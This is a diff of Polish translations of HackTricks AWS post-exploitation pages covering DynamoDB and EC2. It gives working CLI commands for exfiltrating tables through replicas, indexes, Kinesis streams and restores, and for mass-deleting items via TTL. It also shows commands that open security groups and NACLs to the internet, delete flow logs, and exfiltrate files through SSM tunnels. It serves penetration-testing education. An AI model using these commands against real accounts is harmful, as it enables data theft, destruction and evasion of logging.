Ukryta egzfiltracja poprzez dodanie nowego regionalnego repliki do DynamoDB Global Table (version 2019.11.21). Jeśli principal może dodać regionalną replikę, cała tabela zostaje zreplikowana do wybranego przez atakującego Regionu, z którego atakujący może odczytać wszystkie elementy.
|
||||
Stealth exfiltration poprzez dodanie nowej regionalnej repliki do DynamoDB Global Table (version 2019.11.21). Jeśli principal może dodać regionalną replikę, cała tabela zostanie zreplikowana do Regionu wybranego przez atakującego, skąd atakujący może odczytać wszystkie elementy.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
@@ -354,13 +354,13 @@ aws dynamodb update-table \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Uprawnienia: `dynamodb:UpdateTable` (z `replica-updates`) lub `dynamodb:CreateTableReplica` dla docelowej tabeli. Jeśli w replice jest używany CMK, mogą być wymagane uprawnienia KMS dla tego klucza.
|
||||
Uprawnienia: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. If CMK is used in the replica, KMS permissions for that key may be required.
|
||||
|
||||
Potencjalny wpływ: Pełna replikacja tabeli do Regionu kontrolowanego przez atakującego, prowadząca do niejawnej eksfiltracji danych.
|
||||
Potencjalny wpływ: Replikacja całej tabeli do regionu kontrolowanego przez atakującego, prowadząca do ukrytej eksfiltracji danych.
|
||||
|
||||
### `dynamodb:TransactWriteItems` (odczyt poprzez nieudaną instrukcję warunkową + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
### `dynamodb:TransactWriteItems` (odczyt przez nieudaną `ConditionExpression` + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
Atakujący z uprawnieniami do zapisu transakcyjnego może wyeksfiltrować pełne atrybuty istniejącego elementu, wykonując `Update` wewnątrz `TransactWriteItems`, który celowo powoduje niepowodzenie `ConditionExpression` przy ustawieniu `ReturnValuesOnConditionCheckFailure=ALL_OLD`. W przypadku niepowodzenia DynamoDB dołącza wcześniejsze atrybuty w powodach anulowania transakcji, efektywnie zamieniając dostęp tylko do zapisu w dostęp do odczytu dla wybranych kluczy.
|
||||
Atakujący z uprawnieniami do zapisu w transakcjach może eksfiltrować pełne atrybuty istniejącego elementu, wykonując `Update` wewnątrz `TransactWriteItems`, które celowo powoduje niepowodzenie `ConditionExpression` przy ustawieniu `ReturnValuesOnConditionCheckFailure=ALL_OLD`. W razie niepowodzenia DynamoDB dołącza poprzednie atrybuty do powodów anulowania transakcji, efektywnie zamieniając dostęp tylko do zapisu w dostęp do odczytu docelowych kluczy.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
@@ -409,19 +409,19 @@ print(e.response['CancellationReasons'][0]['Item'])
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Uprawnienia: `dynamodb:TransactWriteItems` na docelowej tabeli (i na odpowiadającym elemencie). Nie są wymagane uprawnienia do odczytu.
|
||||
Uprawnienia: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required.
|
||||
|
||||
Potencjalny wpływ: Odczyt dowolnych pozycji (po kluczu głównym) z tabeli przy użyciu tylko transakcyjnych uprawnień zapisu, wykorzystując zwrócone powody anulowania.
|
||||
Potencjalny wpływ: Odczyt dowolnych elementów (po kluczu głównym) z tabeli używając jedynie uprawnień do zapisu transakcyjnego poprzez zwracane powody anulowania.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` na GSI
|
||||
|
||||
Omijanie ograniczeń odczytu poprzez utworzenie Global Secondary Index (GSI) z `ProjectionType=ALL` na atrybucie o niskiej entropii, ustawienie tego atrybutu na stałą wartość dla elementów, a następnie `Query` indeksu, aby pobrać pełne elementy. Działa to nawet jeśli `Query`/`Scan` na tabeli bazowej jest zabronione, pod warunkiem że możesz wykonać zapytanie do ARN indeksu.
|
||||
Obejście ograniczeń odczytu przez utworzenie Global Secondary Index (GSI) z `ProjectionType=ALL` na atrybucie o niskiej entropii, ustawienie tego atrybutu na stałą wartość we wszystkich elementach, a następnie `Query` indeksu, aby pobrać pełne elementy. Działa to nawet jeśli `Query`/`Scan` na tabeli bazowej jest odrzucone, o ile możesz wykonać zapytanie do ARN indeksu.
|
||||
|
||||
- Minimalne uprawnienia:
|
||||
- `dynamodb:UpdateTable` na docelowej tabeli (aby utworzyć GSI z `ProjectionType=ALL`).
|
||||
- `dynamodb:UpdateItem` na kluczach docelowej tabeli (aby ustawić indeksowany atrybut dla każdego elementu).
|
||||
- `dynamodb:Query` na ARN zasobu indeksu (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
- `dynamodb:UpdateTable` on the target table (to create the GSI with `ProjectionType=ALL`).
|
||||
- `dynamodb:UpdateItem` on the target table keys (to set the indexed attribute on each item).
|
||||
- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
|
||||
Kroki (PoC w us-east-1):
|
||||
```bash
|
||||
@@ -461,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1
|
||||
```
|
||||
**Potencjalny wpływ:** Full table exfiltration przez zapytanie do nowo utworzonego GSI, który projektuje wszystkie atrybuty, nawet gdy base table read APIs są odrzucone.
|
||||
**Potencjalny wpływ:** Full table exfiltration przez zapytanie do nowo utworzonego GSI, który projektuje wszystkie atrybuty, nawet gdy base table read APIs są zablokowane.
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
|
||||
|
||||
Wykorzystywanie DynamoDB Kinesis streaming destinations do ciągłej exfiltration zmian z tabeli do kontrolowanego przez atakującego Kinesis Data Stream. Po włączeniu każdy event INSERT/MODIFY/REMOVE jest przekazywany niemal w czasie rzeczywistym do streamu bez potrzeby posiadania read permissions na tabeli.
|
||||
Wykorzystywanie DynamoDB Kinesis streaming destinations do ciągłego exfiltrate zmian z tabeli do kontrolowanego przez atakującego Kinesis Data Stream. Po włączeniu każde zdarzenie INSERT/MODIFY/REMOVE jest przekazywane niemal w czasie rzeczywistym do streamu bez potrzeby uprawnień odczytu na tabeli.
|
||||
|
||||
Minimum permissions (attacker):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` on the target table
|
||||
Minimalne uprawnienia (atakujący):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` na docelowej tabeli
|
||||
- Opcjonalnie `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` do monitorowania statusu
|
||||
- Uprawnienia odczytu na Kinesis streamie będącym własnością atakującego w celu pobierania rekordów: `kinesis:*`
|
||||
- Uprawnienia odczytu na należącym do atakującego Kinesis streamie, aby konsumować rekordy: `kinesis:*`
|
||||
|
||||
<details>
|
||||
<summary>PoC (us-east-1)</summary>
|
||||
@@ -528,8 +528,47 @@ aws dynamodb disable-kinesis-streaming-destination \
|
||||
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
|
||||
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
### `dynamodb:UpdateTimeToLive`
|
||||
|
||||
Atakujący posiadający uprawnienie dynamodb:UpdateTimeToLive może zmienić konfigurację TTL (time-to-live) tabeli — włączyć lub wyłączyć TTL. Gdy TTL jest włączone, poszczególne elementy zawierające skonfigurowany atrybut TTL zostaną automatycznie usunięte po osiągnięciu czasu wygaśnięcia. Wartość TTL jest po prostu kolejnym atrybutem każdego elementu; elementy bez tego atrybutu nie są objęte usuwaniem opartym na TTL.
|
||||
|
||||
Jeśli elementy nie zawierają jeszcze atrybutu TTL, atakujący potrzebowałby również uprawnienia do aktualizowania elementów (na przykład dynamodb:UpdateItem), aby dodać atrybut TTL i wywołać masowe usuwanie.
|
||||
|
||||
Najpierw włącz TTL dla tabeli, określając nazwę atrybutu używaną jako pole wygaśnięcia:
|
||||
```bash
|
||||
aws dynamodb update-time-to-live \
|
||||
--table-name <TABLE_NAME> \
|
||||
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
|
||||
```
|
||||
Następnie zaktualizuj elementy, aby dodać atrybut TTL (epoch seconds), aby wygasły i zostały usunięte:
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TABLE_NAME> \
|
||||
--key '<PRIMARY_KEY_JSON>' \
|
||||
--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
|
||||
--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'
|
||||
```
|
||||
### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime`
|
||||
|
||||
Atakujący posiadający uprawnienia `dynamodb:RestoreTableFromAwsBackup` lub `dynamodb:RestoreTableToPointInTime` może tworzyć nowe tabele przywrócone z kopii zapasowych lub z point-in-time recovery (PITR) bez nadpisywania oryginalnej tabeli. Przywrócona tabela zawiera pełny obraz danych z wybranego punktu, więc atakujący może jej użyć do eksfiltracji informacji historycznych lub uzyskania kompletnego zrzutu poprzedniego stanu bazy danych.
|
||||
|
||||
Przywróć tabelę DynamoDB z kopii zapasowej na żądanie:
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--target-table-name <NEW_TABLE_NAME> \
|
||||
--backup-arn <BACKUP_ARN>
|
||||
```
|
||||
Przywróć tabelę DynamoDB do punktu w czasie (utwórz nową tabelę ze stanem przywróconym):
|
||||
```bash
|
||||
aws dynamodb restore-table-to-point-in-time \
|
||||
--source-table-name <SOURCE_TABLE_NAME> \
|
||||
--target-table-name <NEW_TABLE_NAME> \
|
||||
--use-latest-restorable-time
|
||||
````
|
||||
</details>
|
||||
|
||||
**Potential Impact:** Ciągła, niemal w czasie rzeczywistym exfiltration zmian w tabeli do kontrolowanego przez atakującego strumienia Kinesis bez bezpośrednich operacji odczytu na tabeli.
|
||||
**Potencjalny wpływ:** Ciągła, niemal w czasie rzeczywistym eksfiltracja zmian w tabeli do strumienia Kinesis kontrolowanego przez atakującego bez bezpośrednich operacji odczytu na tabeli.
|
||||
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+76
-50
@@ -10,10 +10,10 @@ Więcej informacji:
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### **Złośliwy VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroring **duplikuje ruch przychodzący i wychodzący dla instancji EC2 w ramach VPC** bez konieczności instalowania czegokolwiek na samych instancjach. Ten zduplikowany ruch jest zwykle wysyłany do np. systemu wykrywania włamań w sieci (IDS) w celu analizy i monitoringu.\
|
||||
Atakujący może to wykorzystać do przechwycenia całego ruchu i pozyskania z niego wrażliwych informacji:
|
||||
VPC traffic mirroring **duplikuje ruch przychodzący i wychodzący dla instancji EC2 w ramach VPC** bez potrzeby instalowania czegokolwiek na samych instancjach. Taki zduplikowany ruch jest zwykle wysyłany do systemu wykrywania włamań sieciowych (IDS) w celu analizy i monitorowania.\
|
||||
Atakujący mógłby to wykorzystać do przechwycenia całego ruchu i uzyskania z niego wrażliwych informacji:
|
||||
|
||||
Więcej informacji na tej stronie:
|
||||
|
||||
@@ -21,9 +21,9 @@ Więcej informacji na tej stronie:
|
||||
aws-malicious-vpc-mirror.md
|
||||
{{#endref}}
|
||||
|
||||
### Kopiowanie działającej instancji
|
||||
### Copy Running Instance
|
||||
|
||||
Instancje zazwyczaj zawierają pewne wrażliwe informacje. Istnieją różne sposoby, aby się na nie dostać (zobacz [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Jednak innym sposobem na sprawdzenie, co zawierają, jest **utworzenie AMI i uruchomienie nowej instancji (nawet w swoim własnym koncie) z niej**:
|
||||
Instancje zazwyczaj zawierają pewne wrażliwe informacje. Istnieją różne sposoby, aby się na nie dostać (zobacz [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Innym sposobem sprawdzenia, co zawiera, jest **utworzenie AMI i uruchomienie nowej instancji (nawet w ramach własnego konta) na jej podstawie**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots są kopiami zapasowymi wolumenów**, które zwykle zawierają **wrażliwe informacje**, dlatego ich sprawdzenie powinno ujawnić te dane.\
|
||||
Jeśli znajdziesz **wolumen bez snapshotu**, możesz: **utworzyć snapshot** i wykonać poniższe działania lub po prostu **zamontować go na instancji** w ramach konta:
|
||||
**Snapshots are backups of volumes**, które zazwyczaj zawierają **wrażliwe informacje**, dlatego ich sprawdzenie powinno je ujawnić.\
|
||||
Jeśli znajdziesz **volume without a snapshot** możesz: **Create a snapshot** i wykonać poniższe czynności lub po prostu **mount it in an instance** w obrębie konta:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Wyeksportuj EC2 AMI bezpośrednio do S3 używając `CreateStoreImageTask`, aby uzyskać surowy obraz dysku bez dzielenia snapshotów. Pozwala to na pełną analizę kryminalistyczną offline lub data theft, przy jednoczesnym pozostawieniu konfiguracji sieciowej instancji bez zmian.
|
||||
Wyeksportuj EC2 AMI bezpośrednio do S3 używając `CreateStoreImageTask`, aby uzyskać surowy obraz dysku bez udostępniania snapshotów. Umożliwia to pełną analizę offline lub kradzież danych, pozostawiając jednocześnie sieć instancji nienaruszoną.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Dołącz wolumen io1/io2 Multi-Attach do drugiej instancji i zamontuj go w trybie read-only, aby przechwycić live data bez snapshotów. Przydatne, gdy wolumen ofiary ma już włączone Multi-Attach w tej samej AZ.
|
||||
Podłącz io1/io2 Multi-Attach volume do drugiej instancji i zamontuj go jako read-only, aby przechwycić dane na żywo bez użycia snapshotów. Przydatne, gdy volume ofiary ma już włączone Multi-Attach w tej samej AZ.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Utwórz EC2 Instance Connect Endpoint, autoryzuj ingress i wstrzyknij ephemeral SSH keys, aby uzyskać dostęp do prywatnych instancji przez zarządzany tunel. Umożliwia szybkie lateral movement bez otwierania publicznych portów.
|
||||
Utwórz EC2 Instance Connect Endpoint, autoryzuj ingress i wstrzyknij ephemeral SSH keys, aby uzyskać dostęp do prywatnych instancji przez managed tunnel. Zapewnia szybkie ścieżki lateral movement bez otwierania public ports.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Przenieś secondary private IP ENI ofiary do kontrolowanego przez atakującego ENI, aby podszyć się pod zaufane hosty, które są allowlisted według IP. Umożliwia to obejście wewnętrznych ACLs lub reguł SG opartych na konkretnych adresach.
|
||||
Przenieś secondary private IP ofiary ENI na ENI kontrolowany przez atakującego, aby podszyć się pod zaufane hosty allowlisted po IP. Umożliwia to obejście wewnętrznych ACL lub reguł SG opartych na konkretnych adresach.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Przypisz ponownie Elastic IP z instancji ofiary do atakującego, aby przechwycić inbound traffic lub inicjować outbound connections, które będą wyglądać jak pochodzące z zaufanych publicznych IP.
|
||||
Przypisz ponownie Elastic IP z instancji ofiary do instancji kontrolowanej przez atakującego, aby przechwycić ruch przychodzący lub inicjować połączenia wychodzące wyglądające, jakby pochodziły od zaufanych publicznych IP.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
Jeśli reguła security group odwołuje się do customer-managed prefix list, dodanie CIDR atakującego do listy cicho rozszerza dostęp we wszystkich zależnych regułach SG bez modyfikowania samego SG.
|
||||
Jeśli reguła security group odnosi się do customer-managed prefix list, dodanie attacker CIDRs do listy cicho rozszerza dostęp we wszystkich zależnych regułach SG bez modyfikowania samego SG.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -106,15 +106,41 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Utwórz gateway lub interface VPC endpoints, aby odzyskać outbound access z izolowanych subnetów. Wykorzystanie AWS-managed private links omija brakujące IGW/NAT kontrole dla data exfiltration.
|
||||
Utwórz gateway lub interface VPC endpoints, aby odzyskać dostęp wychodzący z odizolowanych subnetów. Wykorzystanie AWS-managed private links omija brakujące kontrolki IGW/NAT dla data exfiltration.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
Atakujący posiadający uprawnienie ec2:AuthorizeSecurityGroupIngress może dodać reguły przychodzące do security group (np. zezwalając na tcp:80 z 0.0.0.0/0), co wystawia wewnętrzne usługi w publicznym Internecie lub w innych nieuprawnionych sieciach.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
Atakujący posiadający uprawnienia ec2:ReplaceNetworkAclEntry (lub podobne) może zmodyfikować Network ACLs (NACLs) subnetu, aby stały się bardzo liberalne — na przykład zezwalając na 0.0.0.0/0 na krytycznych portach — wystawiając cały zakres subnetu na Internet lub na nieautoryzowane segmenty sieci. W przeciwieństwie do Security Groups, które są stosowane na poziomie instancji, NACLs są stosowane na poziomie subnetu, więc zmiana restrykcyjnego NACL może mieć znacznie większy blast radius, umożliwiając dostęp do znacznie większej liczby hostów.
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
--rule-number 100 \
|
||||
--protocol <PROTOCOL> \
|
||||
--rule-action allow \
|
||||
--egress <true|false> \
|
||||
--cidr-block 0.0.0.0/0
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
Atakujący posiadający uprawnienia ec2:Delete* i iam:Remove* może usunąć krytyczne zasoby infrastruktury i konfiguracje — na przykład key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways lub managed endpoints. Może to spowodować natychmiastowe przerwanie działania usług, utratę danych oraz utratę dowodów śledczych.
|
||||
|
||||
Przykładem jest usunięcie security group:
|
||||
|
||||
aws ec2 delete-security-group \
|
||||
--group-id <SECURITY_GROUP_ID>
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Skieruj VPC Flow Logs do S3 bucket kontrolowanego przez atakującego, aby ciągle zbierać metadata sieciowe (source/destination, ports) poza kontem ofiary dla długoterminowego rozpoznania.
|
||||
Skieruj VPC Flow Logs do S3 bucket kontrolowanego przez atakującego, aby na bieżąco zbierać metadane sieciowe (source/destination, ports) poza kontem ofiary do długoterminowego rozpoznania.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
@@ -124,9 +150,9 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
Nawet jeśli zablokujesz EC2 tak, że żaden ruch nie może wyjść, nadal może exfil via DNS.
|
||||
Nawet jeśli zablokujesz EC2 tak, że żaden ruch nie może wyjść, nadal może **exfil via DNS**.
|
||||
|
||||
- **VPC Flow Logs tego nie zarejestrują**.
|
||||
- **VPC Flow Logs nie zarejestrują tego**.
|
||||
- Nie masz dostępu do logów DNS w AWS.
|
||||
- Wyłącz to ustawiając "enableDnsSupport" na false za pomocą:
|
||||
|
||||
@@ -134,22 +160,22 @@ Nawet jeśli zablokujesz EC2 tak, że żaden ruch nie może wyjść, nadal może
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
Atakujący może wywołać API endpoints konta kontrolowanego przez siebie. Cloudtrail zaloguje te wywołania i atakujący będzie mógł zobaczyć exfiltrate data w logach Cloudtrail.
|
||||
Atakujący może wywoływać API endpoints konta, które kontroluje. Cloudtrail zaloguje te wywołania i atakujący będzie mógł zobaczyć exfiltrate data w logach Cloudtrail.
|
||||
|
||||
### Open Security Group
|
||||
### Otwarcie security group
|
||||
|
||||
Możesz uzyskać dodatkowy dostęp do usług sieciowych otwierając porty w ten sposób:
|
||||
Możesz uzyskać dalszy dostęp do usług sieciowych otwierając porty w następujący sposób:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
|
||||
Możliwe jest uruchomienie instancji EC2 i zarejestrowanie jej do uruchamiania instancji ECS, a następnie kradzież danych z instancji ECS.
|
||||
Możliwe jest uruchomienie instancji EC2 i zarejestrowanie jej, aby była używana do uruchamiania instancji ECS, a następnie wykradzenie danych instancji ECS.
|
||||
|
||||
Więcej informacji: [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### Remove VPC flow logs
|
||||
### Usuń VPC flow logs
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
@@ -159,7 +185,7 @@ Wymagane uprawnienia:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Oprócz wykonywania poleceń, SSM umożliwia tunelowanie ruchu, które można nadużyć, aby pivot z instancji EC2, które nie mają dostępu do sieci z powodu Security Groups lub NACLs.
|
||||
Oprócz wykonywania poleceń, SSM umożliwia tunelowanie ruchu, które można nadużyć, aby pivotować z instancji EC2, które nie mają dostępu do sieci z powodu Security Groups lub NACLs.
|
||||
Jednym ze scenariuszy, w których jest to przydatne, jest pivoting z [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) do prywatnego klastra EKS.
|
||||
|
||||
> Aby rozpocząć sesję, musisz mieć zainstalowany SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
@@ -169,8 +195,8 @@ Jednym ze scenariuszy, w których jest to przydatne, jest pivoting z [Bastion Ho
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Pobierz tymczasowe poświadczenia AWS Bastion EC2 za pomocą skryptu [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Przenieś poświadczenia na swoją maszynę do pliku `$HOME/.aws/credentials` jako profil `[bastion-ec2]`
|
||||
3. Pobierz tymczasowe poświadczenia AWS dla Bastion EC2 za pomocą [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Skopiuj poświadczenia na swoją maszynę do pliku `$HOME/.aws/credentials` jako profil `[bastion-ec2]`
|
||||
5. Zaloguj się do EKS jako Bastion EC2:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
@@ -180,28 +206,28 @@ aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. Ruch z narzędzia `kubectl` jest teraz przekazywany przez tunel SSM za pośrednictwem Bastion EC2 i możesz uzyskać dostęp do prywatnego klastra EKS ze swojej maszyny, uruchamiając:
|
||||
8. Ruch z narzędzia `kubectl` jest teraz przekierowywany przez tunel SSM za pośrednictwem Bastion EC2 i możesz uzyskać dostęp do prywatnego klastra EKS ze swojego komputera, uruchamiając:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Zauważ, że połączenia SSL zakończą się niepowodzeniem, chyba że ustawisz przełącznik `--insecure-skip-tls-verify ` (lub jego odpowiednik w narzędziach audytu K8s). Ponieważ ruch jest tunelowany przez zabezpieczony tunel AWS SSM, jesteś chroniony przed wszelkiego rodzaju atakami MitM.
|
||||
Zwróć uwagę, że połączenia SSL zakończą się niepowodzeniem, chyba że ustawisz flagę `--insecure-skip-tls-verify ` (lub jej odpowiednik w narzędziach audytu K8s). Ponieważ ruch jest prowadzony przez bezpieczny tunel AWS SSM, jesteś chroniony przed wszelkiego rodzaju atakami MitM.
|
||||
|
||||
Na koniec, ta technika nie jest specyficzna dla atakowania prywatnych klastrów EKS. Możesz ustawić dowolne domeny i porty, aby pivotować do dowolnej innej usługi AWS lub niestandardowej aplikacji.
|
||||
Wreszcie, ta technika nie jest specyficzna dla atakowania prywatnych klastrów EKS. Możesz ustawić dowolne domeny i porty, aby pivotować do dowolnej innej usługi AWS lub niestandardowej aplikacji.
|
||||
|
||||
---
|
||||
|
||||
#### Szybkie lokalne ↔️ zdalne przekierowanie portu (AWS-StartPortForwardingSession)
|
||||
#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
|
||||
|
||||
Jeśli potrzebujesz przekierować tylko **jeden port TCP z instancji EC2 na swój lokalny host**, możesz użyć dokumentu SSM `AWS-StartPortForwardingSession` (nie jest wymagany parametr remote host):
|
||||
Jeśli potrzebujesz tylko przekierować **jeden port TCP z instancji EC2 na swój lokalny host**, możesz użyć dokumentu SSM `AWS-StartPortForwardingSession` (nie jest wymagany parametr zdalnego hosta):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
The command establishes a dwukierunkowy tunel między twoją stacją roboczą (`localPortNumber`) a wybranym portem (`portNumber`) na instancji **bez otwierania jakichkolwiek przychodzących reguł Security-Group**.
|
||||
Polecenie ustanawia dwukierunkowy tunel między Twoją stacją roboczą (`localPortNumber`) a wybranym portem (`portNumber`) na instancji **bez otwierania jakichkolwiek inbound Security-Group rules**.
|
||||
|
||||
Common use cases:
|
||||
Typowe zastosowania:
|
||||
|
||||
* **File exfiltration**
|
||||
1. Na instancji uruchom szybki serwer HTTP wskazujący na katalog, który chcesz exfiltrate:
|
||||
@@ -216,7 +242,7 @@ python3 -m http.server 8000
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **Uzyskiwanie dostępu do wewnętrznych aplikacji webowych (np. Nessus)**
|
||||
* **Dostęp do wewnętrznych aplikacji webowych (np. Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -224,28 +250,28 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Wskazówka: Compress i encrypt dowody przed exfiltrating it, tak aby CloudTrail nie logował clear-text content:
|
||||
Wskazówka: skompresuj i zaszyfruj dowody przed exfiltrating it, aby CloudTrail nie logował clear-text content:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
```
|
||||
